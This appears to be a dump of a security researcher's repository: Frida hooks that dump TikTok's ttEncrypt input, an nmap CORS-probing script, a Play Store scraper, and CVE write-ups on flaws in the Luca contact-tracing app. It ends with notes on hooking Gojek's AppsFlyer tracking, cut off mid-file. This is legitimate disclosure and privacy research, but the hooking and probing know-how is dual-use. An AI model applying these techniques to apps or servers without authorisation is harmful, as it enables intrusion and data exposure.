├── corona.pdf
├── bundeswehr_de_public.pdf
├── mail_ru_CORS_20_1_18.pdf
├── frida-jni-ttEncrypt
    ├── test.sh
    ├── README.md
    └── jni.ts
├── pstats.py
├── cve-luca
    ├── cve-2021-33840.md
    ├── cve-2021-33838.md
    └── cve-2021-33839.md
├── http-cors2.nse
├── gojek_appsflyer.md
├── zalando_deeplink.md
├── logitech_vuln_summary.md
├── native_binder.ts
├── invalid_report.md
├── traceAppPrivacy.js
├── fb-zstd.py
└── luca_traceIds.md


/corona.pdf:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/mame82/misc/HEAD/corona.pdf


--------------------------------------------------------------------------------
/bundeswehr_de_public.pdf:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/mame82/misc/HEAD/bundeswehr_de_public.pdf


--------------------------------------------------------------------------------
/mail_ru_CORS_20_1_18.pdf:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/mame82/misc/HEAD/mail_ru_CORS_20_1_18.pdf


--------------------------------------------------------------------------------
/frida-jni-ttEncrypt/test.sh:
--------------------------------------------------------------------------------
1 | #!/bin/bash
2 | frida-compile jni.ts -o a.js
3 | frida --no-pause -U --runtime=v8 -l a.js -f  com.zhiliaoapp.musically
4 | 


--------------------------------------------------------------------------------
/frida-jni-ttEncrypt/README.md:
--------------------------------------------------------------------------------
 1 | # Some JNI experiments with Frida
 2 | 
 3 | Test of hooking of JNI methods which are not exported by the the native library, but registered with `registerNatives`.
 4 | 
 5 | Example targets `ttEncrypt` function exposed by TikTok in the `com.bytedance.frameworks.encryptor.EncryptorUtil` class. The respective hook is placed by the `hookIfTTEncrypt` function (which
 6 | could be replaced for other scenarios and serves as example for dynamic hooking once an intended native method gets registered).
 7 | 
 8 | The input for the `ttEncrypt` function gets printed to the console as hexdump, but is not human readable because it contains a gzip stream (unless it is data from a crashdump)
 9 | 
10 | # install
11 | 
12 | The script is written in typescript and thus has to be compiled with `frida-compile` before use. `test.sh` gives an example on how to do this.
13 | 
14 | To install frida-compile:
15 | 
16 | ```
17 | npm install -g frida-compile
18 | ```
19 | 
20 | Assuming a Android device with TikTok and frida-server installed is attached via USB, the script could be deployed like this:
21 | 
22 | ```
23 | frida-compile jni.ts -o agent.js
24 | frida --no-pause -U --runtime=v8 -l agent.js -f com.zhiliaoapp.musically
25 | ```
26 | 


--------------------------------------------------------------------------------
/pstats.py:
--------------------------------------------------------------------------------
 1 | #!/usr/bin/env python3
 2 | import requests, re, json, sys
 3 | from pprint import pprint
 4 | 
 5 | 
 6 | # Small stats extractor for Google Play Apps
 7 | # (fetches data from PlayStore web page, not play-fe API)
 8 | #
 9 | # Author: MaMe82
10 | #
11 | # usage:   ./pstats.py <android package name>
12 | # example: ./pstats.py com.facebook.katana
13 | 
14 | def printPlayStoreStats(package="com.google.android.gms"):
15 |     try:
16 |         rsp=requests.get(url="https://play.google.com/store/apps/details?id={}".format(package))
17 |         if rsp.status_code != 200:
18 |             raise ValueError("could not retrieve package data")
19 | 
20 |         # non greedy matching by adding '?' to '.*'
21 |         ds6 = re.search(r"\'ds:6.*?data\:(\[.*?\]), sideChannel", rsp.content.decode("utf-8"))
22 |         if ds6 is not None:
23 |             m = ds6.group(1)
24 |             rs = json.loads(m)
25 |             appName = rs[0][0][0]
26 |             downloadCount = rs[0][12][9]
27 |             dc = {
28 |                 "text": downloadCount[0],
29 |                 "rounded": downloadCount[1],
30 |                 "exactCount": downloadCount[2],
31 |                 "roundedShort": downloadCount[3],
32 |             }
33 |             print("Google Play info for '{}'\n(package {})\n==================================\n".format(appName, package))
34 |             print("Download count\n------------------")
35 |             pprint(dc, width=20)
36 | 
37 |         ds7 = re.search(r"\'ds:7.*?data\:(\[.*?\]), sideChannel", rsp.content.decode("utf-8"))
38 |         if ds7 is not None:
39 |             m = ds7.group(1)
40 |             rs = json.loads(m)
41 |             rating = rs[0][6]
42 |             ra = {
43 |                 "reviewCount": rating[2],
44 |                 "averageRating": rating[0],
45 |                 "ratingCount1stars": rating[1][1],
46 |                 "ratingCount2stars": rating[1][2],
47 |                 "ratingCount3stars": rating[1][3],
48 |                 "ratingCount4stars": rating[1][4],
49 |                 "ratingCount5stars": rating[1][5],
50 |             }
51 |             print("\nRatings\n------------------")
52 |             pprint(ra)
53 |     except Exception as e:
54 |         print("Failed to scrape data for package '{}': {}", package, e)
55 | 
56 | printPlayStoreStats(package="com.google.android.gms" if len(sys.argv) < 2 else sys.argv[1])


--------------------------------------------------------------------------------
/cve-luca/cve-2021-33840.md:
--------------------------------------------------------------------------------
 1 | # CVE-2021-33840
 2 | 
 3 | ## Description (CNA suggestion)
 4 | 
 5 | The server in Luca through 1.1.14 allows remote attackers to cause a
 6 | denial of service (insertion of many fake records related to COVID-19)
 7 | because Phone Number data lacks a digital signature.
 8 | 
 9 | ## Additional Information
10 | 
11 | The "Luca" System assures verified phone numbers for user participating
12 | in the system, in order to provide authorized health departments a
13 | possibility to contact users which were involved in a Covid-19
14 | infection-chain. No other user provided contact data gets verified, so
15 | it is crucial for the integrity of the system, that the verification
16 | process for the phone number is working.
17 | 
18 | There are two relevant steps in the registration workflow:
19 | 
20 | - **Step 1**: The Luca-Client (f.e. Android App) transmits the user's phone
21 |   number to the Luca-backend, which then issues a 3rd party service to
22 |   send a verification SMS to the provided phone number. Once the user
23 |   enters the TAN a second request is made to the backend. The response to
24 |   the second request indicates if the submitted TAN was correct.
25 | - **Step 2**: Once step 1 was completed, the client continues to send the
26 |   encrypted form of the user's contact data to the backend and receives
27 |   an assigned "user ID" in response, indicating that the user was
28 |   registered.
29 | 
30 | With regards to the two steps described above, the backend server
31 | behaves stateless, which means the Luca-client decides if it moves on
32 | to step 2 or not, based on the result of step 1. As the client is
33 | controlled by the user, the first step could be skipped easily,
34 | ultimately bypassing the whole verification process.
35 | 
36 | This allows to create an unlimited amount of invalid user accounts and
37 | trigger check-ins of those accounts to various locations. Ultimately
38 | authorized health-departments are posed to the risk of getting flooded
39 | with invalid data, during attempts to trace infections (every infection
40 | contact has to be verified manually).
41 | 
42 | The issue is publicly known since the release of the system, but was
43 | not addressed by the vendor, so far.
44 | 
45 | A possible mitigation was discussed in the gitlab repo of the vendor,
46 | but not deployed (see gitlab reference)
47 | 
48 | ## VulnerabilityType Other
49 | 
50 | CWE-345: Insufficient Verification of Data Authenticity
51 | 
52 | ## Vendor of Product
53 | 
54 | culture4life GmbH
55 | 
56 | ## Affected Product Code Base
57 | 
58 | "Luca" - Covid-19 contact tracing system
59 | 
60 | - version 1.1.14 and prior versions on Web Backend
61 | 
62 | ## Affected Component
63 | 
64 | Backend, Health department frontend
65 | 
66 | ## Attack Type
67 | 
68 | Remote
69 | 
70 | ## CVE Impact Other
71 | 
72 | Improper verification of phone numbers allows to create invalid accounts, which could be checked-in to Luca-location in order to increase workload on authorized health departments when tracing COVID-19 contacts
73 | 
74 | ## Attack Vectors
75 | 
76 | Bypass of SMS-TAN based phone number verification during user registration process
77 | 
78 | ## Reference
79 | 
80 | 1. https://luca-app.de/securityoverview/processes/guest_registration.html#verifying-the-contact-data
81 | 2. https://gitlab.com/lucaapp/web/-/issues/1#note_560963608
82 | 


--------------------------------------------------------------------------------
/http-cors2.nse:
--------------------------------------------------------------------------------
  1 | local http = require "http"
  2 | local nmap = require "nmap"
  3 | local shortport = require "shortport"
  4 | local stdnse = require "stdnse"
  5 | local table = require "table"
  6 | 
  7 | description = [[
  8 | Tests an http server for Cross-Origin Resource Sharing (CORS), a way
  9 | for domains to explicitly opt in to having certain methods invoked by
 10 | another domain.
 11 | 
 12 | The script works by setting the Access-Control-Request-Method header
 13 | field for certain enumerated methods in OPTIONS requests, and checking
 14 | the responses.
 15 | ]]
 16 | 
 17 | ---
 18 | -- @args http-cors.path The path to request. Defaults to
 19 | -- <code>/</code>.
 20 | --
 21 | -- @args http-cors.origin The origin used with requests. Defaults to
 22 | -- <code>example.com</code>.
 23 | --
 24 | -- @usage
 25 | -- nmap -p 80 --script http-cors <target>
 26 | --
 27 | -- @output
 28 | -- 80/tcp open
 29 | -- |_cors.nse: GET POST OPTIONS
 30 | 
 31 | 
 32 | author = "MaMe82"
 33 | license = "Same as Nmap--See https://nmap.org/book/man-legal.html"
 34 | categories = {"default", "discovery", "safe"}
 35 | 
 36 | 
 37 | portrule =  shortport.http
 38 | 
 39 | local methods = {"GET", "POST"}
 40 | 
 41 | 
 42 | local function test(host, port, method, origin)
 43 |   local header = {
 44 |     ["Origin"] = origin,
 45 |   }
 46 |   local response = http.generic_request(host, port, method, "/", {header = header})
 47 |   local aorigins = response.header["access-control-allow-origin"]
 48 |   local acreds = response.header["access-control-allow-credentials"]
 49 |   local res = nil
 50 |   if aorigins then
 51 | 	res="\tACAO: "..aorigins
 52 | 	if acreds then
 53 |       res=res..", ACAC: "..acreds
 54 |     end
 55 |   end
 56 |   
 57 | 
 58 |   return res
 59 | end
 60 | 
 61 | action = function(host, port)
 62 |   local tn=host["targetname"]
 63 |   local res = "\nCORS result"
 64 |   if tn then res=res.."for "..tn end
 65 |   res=res..":\n--------------------\n\n"
 66 |   local path = nmap.registry.args["http-cors2.path"] or "/"
 67 |   local allowed = {}
 68 |   local origins = {}
 69 |   local t = nil
 70 |   
 71 |   -- add origins
 72 |   table.insert(origins, "null")
 73 |   if (host["targetname"] ~= nil) then
 74 |     table.insert(origins, "http://"..host["targetname"])
 75 |     table.insert(origins, "http://".."subdom."..host["targetname"])
 76 |     table.insert(origins, "http://"..host["targetname"]..".foreigndom.com")
 77 |     table.insert(origins, "http://".."prefix-"..host["targetname"])
 78 |     table.insert(origins, "http://"..host["targetname"].."-sufix")
 79 |     
 80 |     table.insert(origins, "https://"..host["targetname"])
 81 |     table.insert(origins, "https://".."subdom."..host["targetname"])
 82 |     table.insert(origins, "https://"..host["targetname"]..".foreigndom.com")
 83 |     table.insert(origins, "https://".."prefix-"..host["targetname"])
 84 |     table.insert(origins, "https://"..host["targetname"].."-sufix")
 85 |   end
 86 |   
 87 |   
 88 |   for _, method in ipairs(methods) do
 89 |     for _, ori in ipairs(origins) do
 90 | 	  t = test(host, port, method, ori) 
 91 |       if t then
 92 |         -- if ACAO is "*" or "null" we can skip further test for this request method
 93 |         
 94 |         table.insert(allowed, method.." for Origin '"..ori.."':"..t.."\n")
 95 | --        if string.find(t, "ACAO: %*") then break end
 96 | --        if string.find(t, "ACAO: null") then break end
 97 |       else
 98 |         table.insert(allowed, method.." for "..ori..": no\n")
 99 |       end
100 |     end
101 |   end
102 |   
103 |   if #allowed > 0 then
104 |     return res..stdnse.strjoin(" ", allowed)
105 |   else
106 |     return res.."No hit "..stdnse.strjoin(" ", origins)
107 |   end
108 | end
109 | 


--------------------------------------------------------------------------------
/cve-luca/cve-2021-33838.md:
--------------------------------------------------------------------------------
 1 | # CVE-2021-33838
 2 | 
 3 | ## Description (CNA suggestion)
 4 | 
 5 | Luca through 1.7.4 on Android allows remote attackers to obtain sensitive information about COVID-19 tracking because requests related to Check-In State occur shortly after requests for Phone Number Registration.
 6 | 
 7 | ## Additional Information
 8 | 
 9 | Exposure of Sensitive Information Through Data Queries vulnerability in
10 | the Android-Client of culture4life GmbH "Luca" - Covid-19 contact
11 | tracing System allows Luca backend operators (or attackers in control
12 | of the backend) to:
13 | 
14 | 1. Associate an uninfected or traced Guest's Check-Ins to each
15 |    other (conflicts with vendor-defined security objective 'O3')
16 | 2. Associate uninfected Guest's Check-Ins to the Guest phone number
17 |    (conflicts with vendor-defined security objective 'O2')
18 | 3. Distinguish data sets of infected and uninfected Guests
19 | 
20 | Cause of Issues:
21 | 
22 | 1. This is caused by the behavior of the Android client, which
23 |    continuously sends lists of overlapping 'TraceIDs' in intervals down to
24 |    3 seconds (depending on the app state) to poll for the App's
25 |    check-in-state. Those TraceIDs are unique to the Android Client which
26 |    generated them (they pseudonyms, calculated as hashes of globally
27 |    unique user secrets). The fact that those TraceIDs are re-used in
28 |    successive requests which are issued by Android Clients, allows to
29 |    associate those requests to the same device, without utilizing further
30 |    meta-data arriving at the backend. If one of those TraceIDs was used in
31 |    a location checkin, the location data gets associated to the TraceID
32 |    and stored by the backend without encryption. This allows to
33 |    reconstruct full location histories on per device level, even if the
34 |    device is rebooted or changes its public IP address.
35 | 2. This is caused
36 |    by the fact, that the Android client sends additional meta-data (device
37 |    manufacturer, device type, device OS version) with each
38 |    backend-request, which, in combination with the device IP address,
39 |    allows to associate "location check-in requests" to an initial
40 |    registration request, in which the plain user's phone number is
41 |    submitted for SMS-TAN Verification. In a normal usage scenario, the
42 |    delay between the "phone number registration request" and the
43 |    aforementioned "poll for check-in state requests" is less than one
44 |    minute, which makes it easy to connect per-device location history to
45 |    the device's phone number (PII).
46 | 3. If an authorized health department
47 |    requests the location history of an infected guest from the backend,
48 |    the backend learns about the hashes of the infection related TraceIDs.
49 |    As the backend is able to reconstruct sets of TraceIDs belonging to a
50 |    single user/Android Device, the same hashes could be calculated for
51 |    these TraceID-sets. Ultimately those sets could be associated to
52 |    infections traced by health departments.
53 | 
54 | The issues have been summarized and published in a report and have been
55 | further explained in a video series (German). The vendor was made aware
56 | of this. The report was also included in a press statement of German
57 | "Chaos Computer Club".
58 | 
59 | ## VulnerabilityType: Other
60 | 
61 | CWE-202: Exposure of Sensitive Information Through Data Queries
62 | 
63 | ## Vendor of Product
64 | 
65 | culture4life GmbH
66 | 
67 | ## Affected Product Code Base
68 | 
69 | "Luca" - Covid-19 contact tracing system
70 | 
71 | - version 1.7.4 and prior versions on Android
72 | - version 1.1.14 and prior versions on Web Backend
73 | 
74 | ## Affected Component
75 | 
76 | Backend, Android App
77 | 
78 | ## Attack Type
79 | 
80 | Local
81 | 
82 | ## CVE Impact Other
83 | 
84 | Backend operators or threat actors with backend access are able to learn location histories and PII of users of the system, which should only be possible for authorized health departments (as defined by vendor security objectives)
85 | 
86 | ## Reference
87 | 
88 | 1. https://github.com/mame82/misc/blob/master/luca_traceIds.md
89 | 2. https://luca-app.de/securityoverview/properties/objectives.html
90 | 3. https://www.youtube.com/playlist?list=PLKuX6iczGb3kuDsm2RFgbmRkTugkR9-UE
91 | 4. https://www.ccc.de/de/updates/2021/luca-app-ccc-fordert-bundesnotbremse
92 | 
93 | ## Discoverer
94 | 
95 | Marcus Mengs
96 | 


--------------------------------------------------------------------------------
/cve-luca/cve-2021-33839.md:
--------------------------------------------------------------------------------
  1 | # CVE-2021-33839
  2 | 
  3 | ## Description (CNA suggestion)
  4 | 
  5 | Luca through 1.7.4 on Android allows remote attackers to obtain sensitive information
  6 | about COVID-19 tracking because the QR code of a Public Location can be intentionally
  7 | confused with the QR code of a Private Meeting.
  8 | 
  9 | ## Additional Information
 10 | 
 11 | By manipulating QRCodes, locations owners are able to obtain
 12 | unauthorized access to PII (first name, last name) of location guests,
 13 | which should only be available to authorized health departments.
 14 | 
 15 | The "luca" system distinguishes two types of locations:
 16 | 
 17 | - **Type 1**: "Private Meetings" owned by a private person: Guests are able
 18 |   to check-in to a private meeting by scanning the QRCode, which is
 19 |   displayed by the app of the meeting owner. With the check-in the guest
 20 |   automatically provides her first and last name, encrypted with the
 21 |   public key of the "meeting owner". Ultimately, the meeting owner is
 22 |   able to decrypt and display those PII on the device running the Luca
 23 |   App. Neither the check-in data, nor the Guest's name are made available
 24 |   to external entities (including health departments). The Guest's app
 25 |   displays an information dialog, stating that "your host can see your
 26 |   first and last name".
 27 | 
 28 | - **Type 2**: "Public locations" owned by registered "venue owners": Guests
 29 |   are able to check-in to a location by scanning the QRCode, which was
 30 |   generated by the Luca system and printed on paper by the registered
 31 |   venue Owner. In contrast to private meetings, no additional data should
 32 |   be provided to the location owner. Instead, an "encrypted contact data
 33 |   reference" gets transmitted to the "Luca" backend after the check-in,
 34 |   which gets encrypted with the public key of health departments
 35 |   (authorized for data access) and gets encrypted a second time with key
 36 |   material of the venue owner. A venue owner shall not able to learn any
 37 |   user data, which is assured because venue owners have no access to the
 38 |   private keys of health departments (inner encryption).
 39 | 
 40 | A venue owner is able to make the QRCode of a "public location" (Type 1)
 41 | appear to be a QRCode for a "private meeting" (Type 2). If a guest
 42 | scans the QRCode with the Luca App the aforementioned information
 43 | dialog for private meetings is shown, but chances are high, that the
 44 | guest skips the dialog, as it makes no sense in the context of a
 45 | physical location the guest wants to enter (to check-in to the location,
 46 | a dialog confirmation is necessary). The "Luca" app applies no further
 47 | checks, to determine if the target location is indeed a private meeting
 48 | and ultimately sends the Guest's first and last name to the backend.
 49 | The resulting data is only encrypted with the public key of the location
 50 | (encryption for authorized health department is not applied anymore).
 51 | Although the backend server is aware of the fact, that the check-in
 52 | location is **not** a private meeting, the provided PII gets stored on the
 53 | server and could from now on be accessed by the location owner (first and
 54 | last name of guests, check-in and check-out timestamp).
 55 | 
 56 | This behavior violates the following vendor defined security objectives
 57 | (reference):
 58 | 
 59 | - O1: An Uninfected Guest's Contact Data is known only to
 60 |   their Guest App
 61 | - O2: An Uninfected Guest's Check-Ins cannot be
 62 |   associated to the Guest
 63 | 
 64 | The issue was published in a demo video (Youtube, German, see
 65 | reference). The vendor showed no intention to fix the issue, but made
 66 | false claims on the root cause when the demo was also made available on
 67 | Twitter (reference, Twitter statement of culture4live CEO).
 68 | 
 69 | ## VulnerabilityType Other
 70 | 
 71 | CWE-359: Exposure of Private Personal Information to an Unauthorized Actor
 72 | 
 73 | ## Vendor of Product
 74 | 
 75 | culture4life GmbH
 76 | 
 77 | ## Affected Product Code Base
 78 | 
 79 | "Luca" - Covid-19 contact tracing System
 80 | 
 81 | - version 1.7.4 and prior versions on Android
 82 | - version 1.1.14 and prior versions on Web Backend
 83 | 
 84 | ## Affected Component
 85 | 
 86 | Backend, Android Client
 87 | 
 88 | ## Attack Type
 89 | 
 90 | Context-dependent
 91 | 
 92 | ## Impact Information Disclosure
 93 | 
 94 | true
 95 | 
 96 | ## Attack Vectors
 97 | 
 98 | Location owner manipulates check-in QR-Code, which is scanned by Guests, in order to learn otherwise protected PII of the guest
 99 | 
100 | ## Reference
101 | 
102 | 1. https://youtu.be/jWyDfEB0m08
103 | 2. https://luca-app.de/securityoverview/properties/objectives.html
104 | 3. https://twitter.com/patrick_hennig/status/1387738281757061125
105 | 
106 | ## Discoverer
107 | 
108 | Marcus Mengs
109 | 


--------------------------------------------------------------------------------
/frida-jni-ttEncrypt/jni.ts:
--------------------------------------------------------------------------------
  1 | /*
  2 |  * Playing with Frida and automatic JNI hooking for methods native methods which are not
  3 |  * exported, but exposed using JINEnv->registerNatives
  4 |  *
  5 |  * Example deals wit com.bytedance.frameworks.encryptor.EncryptorUtil.ttEncrypt, signature ([Bi)[B
  6 |  *
  7 |  * Note: Signatures of JNI methods are not parsed, to auto-generate hooks
  8 |  */
  9 | 
 10 | const psz = Process.pointerSize
 11 | 
 12 | // https://docs.oracle.com/javase/8/docs/technotes/guides/jni/spec/functions.html#GetArrayLength
 13 | // only methods of relevance
 14 | enum JNIEnvIdx {
 15 |   FindClass = 6,
 16 |   GetMethodID = 33,
 17 |   CallObjectMethod = 34,
 18 |   GetStringUTFChars = 169,
 19 |   GetArrayLength = 171,
 20 |   GetByteArrayElements = 184,
 21 |   GetByteArrayRegion = 200,
 22 |   RegisterNatives = 215
 23 | }
 24 | 
 25 | function getNativeAddress(idx: number, env?: NativePointer) {
 26 |   const JNIenv: NativePointer = env ? env : Java.vm.getEnv().handle
 27 |   return JNIenv.readPointer()
 28 |     .add(idx * psz)
 29 |     .readPointer()
 30 | }
 31 | 
 32 | Java.performNow(() => {
 33 |   /*
 34 |    * jsize GetArrayLength(JNIEnv *env, jarray array);
 35 |    */
 36 |   const pGetArrayLength = getNativeAddress(JNIEnvIdx.GetArrayLength)
 37 |   const funcGetArrayLength = new NativeFunction(pGetArrayLength, "int", [
 38 |     "pointer",
 39 |     "pointer"
 40 |   ])
 41 | 
 42 |   /*
 43 |    * jmethodID GetMethodID(JNIEnv *env, jclass clazz, const char *name, const char *sig);
 44 |    */
 45 |   const pGetMethodID = getNativeAddress(JNIEnvIdx.GetMethodID)
 46 |   const funcGetMethodID = new NativeFunction(pGetMethodID, "pointer", [
 47 |     "pointer",
 48 |     "pointer",
 49 |     "pointer",
 50 |     "pointer"
 51 |   ])
 52 |   function getMethodID(
 53 |     env: NativePointer,
 54 |     clazz: NativePointer,
 55 |     methodName: string,
 56 |     methodSig: string
 57 |   ): NativePointer {
 58 |     const pMethodName = Memory.allocUtf8String(methodName)
 59 |     const pMethodSig = Memory.allocUtf8String(methodSig)
 60 |     return funcGetMethodID(env, clazz, pMethodName, pMethodSig) as NativePointer
 61 |   }
 62 | 
 63 |   /*
 64 |    * NativeType *GetByteArrayElements(JNIEnv *env, ArrayType array, jboolean *isCopy);
 65 |    */
 66 |   const pGetByteArrayElements = getNativeAddress(JNIEnvIdx.GetByteArrayElements)
 67 |   const funcGetByteArrayElements = new NativeFunction(
 68 |     pGetByteArrayElements,
 69 |     "pointer",
 70 |     ["pointer", "pointer", "char"]
 71 |   )
 72 | 
 73 |   /*
 74 |    * const char * GetStringUTFChars(JNIEnv *env, jstring string, jboolean *isCopy);
 75 |    */
 76 |   const pGetStringUTFChars = getNativeAddress(JNIEnvIdx.GetStringUTFChars)
 77 |   const funcGetStringUTFChars = new NativeFunction(
 78 |     pGetStringUTFChars,
 79 |     "pointer",
 80 |     ["pointer", "pointer", "char"]
 81 |   )
 82 |   function getStringUTFChars(
 83 |     env: NativePointer,
 84 |     jstring: NativePointer,
 85 |     isCopy: boolean
 86 |   ): NativePointer {
 87 |     return funcGetStringUTFChars(env, jstring, isCopy ? 1 : 0) as NativePointer
 88 |   }
 89 | 
 90 |   /*
 91 |    * jclass FindClass(JNIEnv *env, const char *name);
 92 |    */
 93 |   const pFindClass = getNativeAddress(JNIEnvIdx.FindClass)
 94 |   const funcFindClass = new NativeFunction(pFindClass, "pointer", [
 95 |     "pointer",
 96 |     "pointer"
 97 |   ])
 98 |   function findClass(env: NativePointer, className: string): NativePointer {
 99 |     const res = funcFindClass(env, Memory.allocUtf8String(className))
100 |     return res as NativePointer
101 |   }
102 | 
103 |   /*
104 |    * NativeType CallObjectMethod(JNIEnv *env, jobject obj, jmethodID methodID, ...);
105 |    */
106 |   const pCallObjectMethod = getNativeAddress(JNIEnvIdx.CallObjectMethod)
107 |   const funcCallObjectMethod = new NativeFunction(
108 |     pCallObjectMethod,
109 |     "pointer",
110 |     ["pointer", "pointer", "pointer", "..."] // additional arguments could be appended after jmethodID
111 |   )
112 |   function callObjectMethod(
113 |     env: NativePointer,
114 |     objectInstance: NativePointer,
115 |     methodId: NativePointer,
116 |     ...args: any[]
117 |   ): NativePointer {
118 |     return funcCallObjectMethod(
119 |       env,
120 |       objectInstance,
121 |       methodId,
122 |       ...args
123 |     ) as NativePointer
124 |   }
125 | 
126 |   // jclass for java.lang.Class
127 |   const jclassClass = findClass(Java.vm.getEnv().handle, "java/lang/Class")
128 |   console.log("global java.lang.Class: " + jclassClass)
129 | 
130 |   // jmethodID for java.lang.class.getName(): string
131 |   const jmethodIdClassGetName = getMethodID(
132 |     Java.vm.getEnv().handle,
133 |     jclassClass,
134 |     "getName",
135 |     "()Ljava/lang/String;"
136 |   )
137 |   console.log("global java.lang.Class.getName(): " + jmethodIdClassGetName)
138 | 
139 |   function getUtf8NameForJClass(
140 |     env: NativePointer,
141 |     jclass: NativePointer
142 |   ): string {
143 |     // call java.lang.Class.getName() for the given class
144 |     const jstringClassName = callObjectMethod(
145 |       env,
146 |       jclass,
147 |       jmethodIdClassGetName
148 |     )
149 |     //console.log("ClassName ptr: " + jstringClassName)
150 |     const pNativeUtf8Str = getStringUTFChars(env, jstringClassName, false)
151 |     const utf8str = pNativeUtf8Str.readUtf8String()
152 | 
153 |     return utf8str ? utf8str : "unknown"
154 |   }
155 | 
156 |   /*
157 |    * jint RegisterNatives(JNIEnv *env, jclass clazz, const JNINativeMethod *methods, jint nMethods);
158 |    *
159 |    * typedef struct {
160 |    *    char *name;
161 |    *    char *signature;
162 |    *    void *fnPtr;
163 |    * } JNINativeMethod;
164 |    *
165 |    */
166 |   const pRegisterNatives = getNativeAddress(JNIEnvIdx.RegisterNatives)
167 |   Interceptor.attach(pRegisterNatives, {
168 |     onEnter(args) {
169 |       const env = args[0]
170 |       const clazz = args[1]
171 |       const pMethods = args[2]
172 |       const nMethods = args[3].toInt32()
173 | 
174 |       const className = getUtf8NameForJClass(env, clazz)
175 |       console.log(
176 |         "registerNatives(class=" +
177 |           className +
178 |           ", pMethods=" +
179 |           pMethods +
180 |           ", nMethods=" +
181 |           nMethods +
182 |           ")"
183 |       )
184 | 
185 |       // iterate over JNINativeMethod structs
186 |       const sizeofJNINativeMethod = psz * 3
187 |       for (let i = 0; i < nMethods; i++) {
188 |         const pCurrentMethod = pMethods.add(sizeofJNINativeMethod * i)
189 |         const pMethodName = pCurrentMethod.readPointer()
190 |         const pMethodSig = pCurrentMethod.add(psz).readPointer()
191 |         const pFunc = pCurrentMethod.add(psz * 2).readPointer()
192 |         const methodName = pMethodName.readUtf8String()
193 |         const methodSig = pMethodSig.readUtf8String()
194 |         console.log("\t" + pFunc + ": " + methodName + " " + methodSig)
195 |         hookIfTTEncrypt(className, methodName, methodSig, pFunc)
196 |       }
197 |     }
198 |   })
199 | 
200 |   function hookIfTTEncrypt(
201 |     className: string,
202 |     methodName: string | null,
203 |     methodSig: string | null,
204 |     funcPtr: NativePointer
205 |   ) {
206 |     if (methodName !== "ttEncrypt") return
207 |     if (methodSig !== "([BI)[B") return
208 | 
209 |     console.log(
210 |       "\x1b[31;11mFound 'ttEncrypt' in class " +
211 |         className +
212 |         ", hooking ...\x1b[39;49;00m"
213 |     )
214 | 
215 |     Interceptor.attach(funcPtr, {
216 |       onEnter(args) {
217 |         const env = args[0]
218 |         const byteArray = args[2]
219 |         const arrayLen = args[3]
220 | 
221 |         /*
222 |         this.len2 = funcGetArrayLength(env, byteArray) // returns jint
223 |         console.log(
224 |           "called ttEncrypt(" + byteArray + ", " + arrayLen + ")" + this.len2
225 |         )
226 |         */
227 | 
228 |         // retrieve Native pointer to content of Array
229 |         const pBuf = funcGetByteArrayElements(
230 |           env,
231 |           byteArray,
232 |           0
233 |         ) as NativePointer
234 | 
235 |         // ToDo: release array
236 |         console.log(
237 |           "raw InputBuffer for ttEncrypt (likely GZIP data magic 0x1f8b08)"
238 |         )
239 |         console.log(hexdump(pBuf, { header: true, length: arrayLen.toInt32() }))
240 |       }
241 |     })
242 |   }
243 | 
244 |   // The following functions are commented out, because they aren't useful for
245 |   // 'com.bytedance.frameworks.encryptor.EncryptorUtil'
246 |   // they work anyways
247 | 
248 |   /*
249 |   Interceptor.attach(pFindClass, {
250 |     onEnter(args) {
251 |       this.env = args[0]
252 |       this.name = args[1].readUtf8String()
253 |     },
254 |     onLeave(ret) {
255 |       console.log("findClass(" + this.env + ", " + this.name + ") => " + ret)
256 |       return ret
257 |     }
258 |   })
259 |   */
260 | 
261 |   /*
262 |   // not used by ttEncrypt to fetch data
263 |   const pGetByteArrayRegion = getNativeAddress(JNIEnvIdx.GetByteArrayRegion)
264 |   Interceptor.attach(pGetByteArrayRegion, {
265 |     onEnter(args) {
266 |       this.start = args[2].toInt32()
267 |       this.len = args[3].toInt32()
268 |       this.buf = args[4]
269 | 
270 |       console.log(
271 |         "getByteArrayRegion start=" +
272 |           this.start +
273 |           ", len=" +
274 |           this.len +
275 |           ", *buf=" +
276 |           this.buf
277 |       )
278 |     },
279 |     onLeave(retval) {
280 |       console.log(hexdump(this.buf, { offset: this.start, length: this.len }))
281 |       return retval
282 |     }
283 |   })
284 |   */
285 | 
286 |   /*
287 |   Interceptor.attach(pGetByteArrayElements, {
288 |     onEnter(args) {
289 |       this.array = args[1]
290 |       // determine length of jarray
291 |       this.len = funcGetArrayLength(args[0], this.array) // returns jint
292 |       console.log(
293 |         "getByteArrayElements array=" + this.array + " (len=" + this.len + ")"
294 |       )
295 |     },
296 | 
297 |     onLeave(pArrayBuf) {
298 |       console.log(hexdump(pArrayBuf, { offset: 0, length: this.len }))
299 |       return pArrayBuf
300 |     }
301 |   })
302 |   */
303 | })
304 | 


--------------------------------------------------------------------------------
/gojek_appsflyer.md:
--------------------------------------------------------------------------------
  1 | # Gojek AppsFlyer notes
  2 | 
  3 | Gojek sends massive amounts of privacy related data to AppsFlyer
  4 | 
  5 | Data is stored in 'com.appsflyer.AFEvent' instances.
  6 | 
  7 | Before data gets pushed out, it is encrypted.
  8 | 
  9 | AFEvent class has a property `public Map<String, Object> params` which could be used to
 10 | fetch the plain data.
 11 | 
 12 | ## Note 1: 
 13 | 
 14 | As there also exists a AFEvent.params() method, the property has to be fetched with
 15 | <AFEvent instance>._params.value if Frida is used
 16 | 
 17 | ## Note 2
 18 | 
 19 | Encrypted data (once generated) is stored as byte[] in the AFEvent using the member
 20 | function `public AFEvent post(byte[] encryptedData)`. This function is a nice place to
 21 | hook. Once it gets called, the `params` member field could easily be converted to
 22 | a JSON string, using Android's `org.json.JSONObject`.
 23 | 
 24 | Here's an example code snippet from a frida-trace hook for `com.appsflyer.AFEvent!post`
 25 | which decodes the `params` property to a JSON string and logs it:
 26 | 
 27 | ```
 28 |   onEnter: function (log, args, state) {
 29 |         try {
 30 |             log('AFEvent.post(' + args.map(JSON.stringify).join(', ') + ')');
 31 |             let paramsMap = this._params.value
 32 |             const clazzJO = Java.use("org.json.JSONObject")
 33 |             let jsonParams = clazzJO.$new(paramsMap)
 34 |             log("AFEvent.urlString:",this.urlString())
 35 |             log("AFEvent.params",jsonParams.toString())
 36 |         } catch (e) {
 37 |                 log("Exception in hook for AFEvet.post", e)
 38 |         }
 39 |   },
 40 | 
 41 | ```
 42 | 
 43 | # AFEvent encryption
 44 | 
